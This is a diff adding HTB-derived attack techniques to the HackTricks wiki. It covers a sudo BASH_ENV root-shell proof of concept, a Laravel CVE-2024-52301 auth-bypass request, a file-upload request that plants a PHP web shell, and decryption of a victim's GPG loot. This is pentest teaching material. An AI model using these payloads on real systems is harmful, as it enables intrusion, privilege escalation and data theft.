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Merge pull request #1389 from HackTricks-wiki/update_HTB_Environment__Laravel_env_override__CVE_2024_52_20250907_012404
HTB Environment Laravel env override (CVE‑2024‑52301) → LFM ...
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SirBroccoli
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@ -53,6 +53,33 @@ The Pluggable Authentication Module (PAM) is a system used under Linux for user
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> [!TIP]
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> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
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## Decrypting GPG loot via homedir relocation
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If you find an encrypted `.gpg` file and a user’s `~/.gnupg` folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.
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Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir).
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Workflow:
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```bash
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# 1) Stage a writable homedir and copy the victim's keyring
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mkdir -p /dev/shm/fakehome/.gnupg
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cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
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# 2) Ensure ownership & perms are sane for gnupg
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chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
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chmod 700 /dev/shm/fakehome/.gnupg
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# 3) Decrypt using the relocated homedir (either flag works)
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GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
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# or
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gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
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```
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If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
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## References
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- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
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- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
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{{#include ../../banners/hacktricks-training.md}}
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@ -886,6 +886,33 @@ This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPA
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sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
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```
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### BASH_ENV preserved via sudo env_keep → root shell
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If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.
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- Why it works: For non-interactive shells, Bash evaluates `$BASH_ENV` and sources that file before running the target script. Many sudo rules allow running a script or a shell wrapper. If `BASH_ENV` is preserved by sudo, your file is sourced with root privileges.
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- Requirements:
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- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script).
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- `BASH_ENV` present in `env_keep` (check with `sudo -l`).
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- PoC:
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```bash
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cat > /dev/shm/shell.sh <<'EOF'
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#!/bin/bash
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/bin/bash
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EOF
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chmod +x /dev/shm/shell.sh
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BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
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# You should now have a root shell
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```
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- Hardening:
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- Remove `BASH_ENV` (and `ENV`) from `env_keep`, prefer `env_reset`.
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- Avoid shell wrappers for sudo-allowed commands; use minimal binaries.
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- Consider sudo I/O logging and alerting when preserved env vars are used.
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### Sudo execution bypassing paths
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**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_
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@ -1707,6 +1734,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
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- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
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- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
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- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
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- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic)
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- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV)
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- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
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{{#include ../../banners/hacktricks-training.md}}
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@ -89,8 +89,6 @@ curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https:
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```
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---
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## Mass APP_KEY discovery via cookie brute-force
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Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
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@ -104,6 +102,38 @@ Key findings of the research published by Synacktiv (2024-2025):
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The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
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## CVE-2024-52301 – HTTP argv/env override → auth bypass
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When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=<value>` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:
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- Quick check:
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- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
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- Impact example (business logic trusting a special env):
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- If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to:
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- `POST /login?--env=preprod`
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- Notes:
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- Works per-request, no persistence.
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- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP.
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- Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.
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- Mitigations:
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- Disable `register_argc_argv` for PHP-FPM/Apache.
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- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes.
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Minimal exploitation flow (Burp):
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```http
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POST /login?--env=preprod HTTP/1.1
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Host: target
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Content-Type: application/x-www-form-urlencoded
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...
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email=a@b.c&password=whatever&remember=0xdf
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```
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---
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## Laravel Tricks
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### Debugging mode
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@ -196,9 +226,9 @@ def encrypt(string):
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app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
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key = base64.b64decode(app_key)
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decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
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#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
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encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
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decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
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#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
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encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
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```
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### Laravel Deserialization RCE
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@ -223,7 +253,8 @@ Another deserialization: [https://github.com/ambionics/laravel-exploits](https:/
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* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
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* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
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* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
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* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
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* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
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{{#include ../../banners/hacktricks-training.md}}
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@ -51,7 +51,7 @@ Other useful extensions:
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```
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# Linux maximum 255 bytes
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/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
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Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
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Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
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# Upload the file and check response how many characters it alllows. Let's say 236
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python -c 'print "A" * 232'
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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@ -59,6 +59,40 @@ Other useful extensions:
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AAA<--SNIP 232 A-->AAA.php.png
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```
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#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
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Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:
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- Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
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- Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`.
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- The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`).
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Minimal PoC (Burp Repeater):
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```http
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POST /profile/avatar HTTP/1.1
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Host: target
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
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------WebKitFormBoundary
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Content-Disposition: form-data; name="upload"; filename="0xdf.php."
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Content-Type: image/png
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\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
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------WebKitFormBoundary--
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```
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Then hit the saved path (typical in Laravel + LFM):
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```
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GET /storage/files/0xdf.php?cmd=id
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```
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Mitigations:
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- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
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- Enforce strict server-side allowlists and re-validate the persisted filename.
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- Serve uploads from non-executable locations.
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### Bypass Content-Type, Magic Number, Compression & Resizing
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- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
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@ -210,7 +244,7 @@ https://github.com/portswigger/upload-scanner
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## Magic Header Bytes
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- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
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- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
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- **JPG**: `"\xff\xd8\xff"`
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Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
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@ -340,5 +374,8 @@ How to avoid file type detections by uploading a valid JSON file even if not all
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- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
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- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
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- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
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- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
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- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
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- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
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||||
{{#include ../../banners/hacktricks-training.md}}
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